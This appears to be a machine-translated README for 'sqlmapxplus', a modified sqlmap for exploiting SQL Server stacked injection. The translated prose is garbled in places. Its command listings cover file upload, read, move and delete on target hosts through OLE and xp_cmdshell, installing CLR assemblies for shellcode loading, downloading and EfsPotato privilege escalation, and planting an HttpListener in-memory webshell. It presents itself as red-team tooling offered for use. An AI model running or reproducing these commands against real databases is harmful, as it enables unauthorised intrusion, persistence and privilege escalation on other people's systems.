많은 지역 공격 및 방어 훈련에서 SQL Server 데이터베이스 스택 주입은 여전히 홀 블래스팅 빈도가 높지만 네트워크 액세스 없음, 낮은 권한, 사이트 및 데이터베이스 분리, 터미널 보호, 어려움과 같은 몇 가지 일반적인 훈련 시나리오 제한으로 인해 발생합니다. 온라인에 접속할 때 권한 유지 관리는 번거롭고 단 하나의 --os-shell만으로는 더 이상 우리의 요구 사항을 충족할 수 없습니다.
sqlmapxplus는 sqlmap을 기반으로 기존 데이터베이스 취약점 공격 도구를 다시 오픈하고, 다양한 솔루션을 참고하며, MSSQL 데이터베이스 인젝션 활용 방법을 추가한 것입니다. 현재 ole의 파일 업로드와 자동화된 쉘코드 로딩 기능을 포함한 두 번째 개발의 일부가 완료되었습니다.
20240508 업데이트 지침 : 새로 추가된 ole 열기 기능, 새로운 지정 파일 읽기 기능, 새로운 지정 파일 이동 기능, 새로운 지정 파일 복사 기능, 새로운 지정 파일 삭제 기능, 새로운 지정 파일의 위치 확인 기능, 신규 스토리지 기능 프로세스 쿼리 기능, 저장된 프로세스 삭제 기능 신규, ole 업로드 방식 수정, clr 설치 프로세스 수정, clr 명령어 실행 방식 수정, 중국어 댓글로 인한 오류 제거
실제 네트워크 프로세스 중 dll 전송 손실로 인한 clr 설치 실패 문제를 목표로 (임시해결책) 원래 --install-clr 함수에 사용된 clr dll이 너무 크고, 인젝션 횟수가 많은 것으로 확인되었습니다. 실제 전투에서 종종 필요합니다. 특정 오류로 인해 dll이 구현되지 않고 dll을 성공적으로 입력할 수 없는 경우 기존의 원클릭 자동 설치 프로세스가 제거되고 사용자가 사용자 정의할 수 있도록 수정되었습니다. 실제 대상 상황을 기반으로 dll을 설치하고 임시로 --check- 파일을 추가합니다. 이 옵션은 dll 파일이 대상 호스트에 성공적으로 착륙했는지 여부를 결정합니다. 임시로 --check-clr을 추가하여 사용자 정의 함수가 데이터베이스에 성공적으로 로드되었는지 확인합니다.
업로드 과정에서 dll 증폭 문제가 발생하는 이유는 무엇인가요? 16진수로 변환한 후 복원하면 파일이 늘어나게 됩니다. 예를 들어 문자 A는 16진수로 41로 변환되어 크기가 두 배가 됩니다.
clr 사용자 정의 관련 문제(완료) install-clr이 사용자 정의 clr.dll 경로를 지정하도록 수정되었습니다. 프롬프트 상자에 사용자 정의 클래스 이름을 입력하고 clr_shell 모드에서 사용자 정의 메소드를 입력합니다. clr_shell 모드에서는 다음과 같이 수정됩니다. 사용자 정의 함수가 매개변수 전달(완료)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
올레에 대해 :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
다른 기능:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
clr에 대해 :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
공개 계정: 사이버 전쟁
Knowledge Planet: 침투 테스트 가이드
이전 버전에 대한 참조 링크: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
새 버전에 대한 참조 링크: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/